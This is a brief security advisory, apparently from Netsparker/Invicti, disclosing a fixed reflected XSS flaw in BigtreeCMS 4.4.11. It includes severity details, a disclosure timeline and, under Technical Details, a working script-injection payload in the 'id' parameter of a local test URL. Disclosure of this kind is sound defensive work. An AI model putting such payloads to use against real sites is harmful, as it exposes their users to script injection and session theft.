Cross-Site Scripting Vulnerabilities in BigtreeCMS 4.4.11

Information

Advisory by Netsparker (now Invicti)
Name: Cross-Site Scripting Vulnerability in BigtreeCMS
Affected Software: BigtreeCMS
Affected Versions: 4.4.11
Vendor Homepage: https://www.bigtreecms.org/
Vulnerability Type: Cross-Site Scripting
Severity: Important
Status: Fixed
CVE-ID: CVE-2020-995566
CVSS Score (3.0): 7.4 (High)
Invicti Advisory Reference: NS-20-004

Technical Details

URL: http://mylocalhost/site/index.php/admin/js/embeddable-form.js?hash=&id='"--></style></scRipt><scRipt>alert(0x00E4E5)</scRipt>
Parameter Name: id
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(2)</scRipt 

Note: This vulnerability is reproducible at Internet Explorer due to mime type sniffing.

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline

21st November 2020 – First Contact
2nd December 2020 – Vendor Fixed
10th December 2020 – Advisory Released

Credits & Authors

These issues have been discovered by Mustafa Yalçın while testing the Invicti Web Application Security Scanner.

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